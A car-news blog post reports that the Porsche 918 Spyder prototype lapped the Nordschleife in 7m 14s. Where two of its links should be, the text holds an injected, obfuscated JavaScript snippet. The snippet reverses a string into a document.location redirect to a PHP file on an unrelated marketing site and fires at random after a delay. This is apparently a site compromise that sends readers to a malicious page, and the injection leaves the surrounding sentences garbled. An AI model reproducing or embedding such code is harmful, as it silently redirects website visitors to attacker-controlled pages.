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Right, no Google-ing. What would you assume is the fastest road-going Porsche to ever lap the Nordschleife? The Porsche Carrera GT? Good guess, but no. The Porsche 911 GT2 RS? Ooooooh, close. The $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/porsche-911-carrera-s-vs-boxster-s-a-family-outing/” target=”_blank”>Porsche Boxster S? Well now you’re just being silly!
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The answer is in fact the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/porsche-918-testing-at-the-nurburgring/” target=”_blank”>new 918 Spyder prototype, thanks to its recent run at the legendary German circuit. Porsche’s latest supercar eclipsed its predecessor – the Carrera GT – by 14 seconds when it completed its run in 7m 14s.
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Now granted that’s still some way off the fastest ever road-going production model at The ‘Ring, since the Radical SR8 LM tore up the asphalt to finish its circuit in just 6m 48s three years ago.
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The 795hp hybrid 918 prototype though – equipped with production Michelins and a Weissach performance package – has lain quite a marker 12 months before its official release; only four cars have previously dropped below the 7m 14s lap time at the Nordschleife.